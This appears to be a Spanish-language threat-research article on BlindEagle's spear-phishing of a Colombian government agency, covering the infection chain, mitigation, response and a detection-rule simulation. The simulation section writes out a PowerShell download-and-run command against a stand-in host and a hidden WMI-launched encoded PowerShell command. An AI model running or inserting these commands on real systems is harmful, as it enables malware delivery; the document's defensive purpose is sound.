BlindEagle Apunta a Agencia Gubernamental Colombiana con Caminho y DCRAT

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
BlindEagle Apunta a Agencia Gubernamental Colombiana con Caminho y DCRAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

BlindEagle llevó a cabo una operación de spear-phishing dirigida a una agencia gubernamental colombiana, entregando un archivo adjunto SVG armado que inició una cadena de ejecución de JavaScript a PowerShell. Esa secuencia descargó un descargador llamado Caminho, que luego obtuvo el troyano de acceso remoto DCRAT de código abierto alojado en Discord. La etapa final utilizó el vaciamiento de procesos en MSBuild.exe y aplicó múltiples métodos de evasión para reducir la detección.

Investigación

Zscaler ThreatLabz analizó el flujo de infección y reportó un enfoque de contrabando SVG, varios niveles de JavaScript ofuscado, un comando de PowerShell activado por WMI, y la entrega de Caminho a través de una URL alojada en Discord. La investigación también asoció la infraestructura de soporte con direcciones IP suecas y un proveedor de DNS dinámico (ydns.eu).

Mitigación

Aplique controles más estrictos para archivos adjuntos de correo electrónico entrantes, especialmente contenido SVG, y haga cumplir el desarme/inspección de contenido para scripts incrustados. Use políticas de proxy web para restringir el acceso a puntos de alojamiento de archivos sospechosos, incluidas las URL de archivos de Discord utilizadas para la entrega de malware. Monitoree patrones inusuales de ejecución de PowerShell y WMI, y haga cumplir políticas de lista blanca de aplicaciones que cubran el uso de MSBuild.exe.

Respuesta

Respuesta

Genere alertas para el artefacto SVG malicioso, el nombre de archivo de JavaScript mencionado y las descargas que lleguen a la URL de Discord. Busque rastros en memoria o en disco de Caminho y DCRAT, evidencia de vaciamiento de procesos MSBuild.exe, y persistencia a través de cambios en el registro o tareas programadas. Cuarentenar puntos finales afectados y bloquee el dominio C2 identificado.

Flujo de Ataque

Ejecución de Simulación

Requisito Previo: La Verificación Previa de Telemetría y Línea Base debe haberse completado con éxito.

Justificación: Esta sección detalla la ejecución precisa de la técnica adversaria (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa del Ataque y Comandos:
    El actor de amenaza (BlindEagle) utiliza WMI para generar un proceso de PowerShell que descarga la carga útil “Caminho” desde un servidor C2 remoto y la ejecuta en memoria. Al aprovechar wmic.exe con el método process call create , el atacante puede ejecutar PowerShell sin interactuar con una sesión de usuario, haciendo la actividad sigilosa. La línea de comandos contiene la palabra literal “powershell”, lo que satisface la condición de la regla de detección.

    1. Etapa 1 – Preparar el comando de PowerShell malicioso de una sola línea:

      $url = "http://malicious.example.com/caminho.exe"
      $out = "$env:TEMPcaminho.exe"
      Invoke-WebRequest -Uri $url -OutFile $out; PowerShell -ExecutionPolicy Bypass -File $out
    2. Etapa 2 – Ejecutar a través de WMI:

      $psCmd = 'powershell -nop -w hidden -enc <base64-encoded-payload>'
      wmic process call create "$psCmd"

    La presencia de powershell en el campo CommandLine del evento Sysmon 1 generado por el proceso hijo wmic activará la regla.

  • Script de Prueba de Regresión:

    # Simulación de PowerShell via WMI de BlindEagle
    # ----------------------------------------------------------------------
    # 1. Definir carga útil maliciosa (para prueba usamos un comando benigno echo)
    $payload = 'Write-Host "Simulated Caminho execution"'
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    
    # 2. Construya la línea de comando de PowerShell que incluya la palabra literal "powershell"
    $psCommand = "powershell -NoProfile -EncodedCommand $encoded"
    
    # 3. Lanza el comando vía WMI (wmic) para generar un EventID 1 de Sysmon
    $wmicCommand = "wmic process call create `"$psCommand`""
    Write-Host "Ejecutando vía WMI: $wmicCommand"
    Invoke-Expression $wmicCommand
    
    # 4. Opcional: Registre en la consola para verificación
    Write-Host "Simulación completa. Verifique la detección en el SIEM."
  • Comandos de Limpieza:

    # Eliminar cualquier archivo temporal (ninguno creado en esta simulación)
    # Terminar cualquier proceso de wmic o PowerShell iniciado para la prueba
    Get-Process -Name wmic, powershell -ErrorAction SilentlyContinue | Stop-Process -Force
    Write-Host "Limpieza completa."